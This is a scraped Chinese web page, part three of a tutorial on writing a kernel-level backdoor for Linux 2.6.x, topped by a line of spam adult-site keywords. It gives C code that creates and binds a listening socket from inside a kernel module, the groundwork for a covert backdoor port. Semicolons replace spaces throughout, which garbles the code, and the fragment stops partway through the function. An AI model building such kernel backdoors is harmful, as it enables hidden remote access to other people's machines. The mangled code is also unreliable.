日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

抒寫Linux 2.6.x下內(nèi)核級(jí)后門程序( 三 )


if;(retval;<;0)
goto;out;

retval;=;sock_map_fd(sock);
if;(retval;<;0)
goto;out_release;

out:

return;retval;

out_release:
sock_release(sock);
return;retval;
}

關(guān)鍵就2個(gè)函數(shù) , sock_create()來初始化一個(gè)struct;socket結(jié)構(gòu)體,在用sock_map_fd()來給剛才的socket結(jié)構(gòu)分配一個(gè)空閑的文件描述符 。;有興趣的讀者可以繼續(xù)深入這些函數(shù) , 看看它的具體實(shí)現(xiàn)細(xì)節(jié) 。在這里我們只關(guān)心最上層的這2個(gè)函數(shù) 。因?yàn)槲覀円谧约旱哪K中調(diào)用它們 。同樣對(duì)于;sys_bind,;sys_listen等 , 我們用同樣的辦法來處理 。有了源代碼 , 看它們?cè)趺磳?shí)現(xiàn) , 我們就怎么實(shí)現(xiàn) 。

下面給出一個(gè)監(jiān)聽某端口的例子:

int;k_listen(void)
{
struct;socket;*sock,*newsock;
struct;sockaddr_in;server;
struct;sockaddr;client[128];
char;address[128];
int;sockfd,;sockid,;i,size;=;0;
int;error;=;0,len;=;sizeof(struct;sockaddr);

//set_fs(KERNEL_DS);

error;=;sock_create(AF_INET,SOCK_STREAM,0,&sock);
if;(error;<;0);{
printk("[-];socket_create;failed:;%d/n",error);
sock_release(sock);
return;-1;
}

sockfd;=;sock_map_fd(sock);
if;(sockfd;<;0);{
printk("[-];sock_map_fd();failed./n");
sock_release(sock);
return;-1;
}

for;(i;=;0;;i;<;8;;i)
server.sin_zero[i];=;0;

server.sin_family;=;PF_INET;
server.sin_addr.s_addr;=;INADDR_ANY;
server.sin_port;=;htons(port);

error;=;security_socket_bind(sock,(struct;sockaddr;*)&server,len);
if;(!error);{
error;=;sock->ops->bind(sock,(struct;sockaddr;*)&server,len);

if;(error;<;0);{
printk("[-];unix_bind();failed./n");
sock_release(sock);
return;-1;
}

推薦閱讀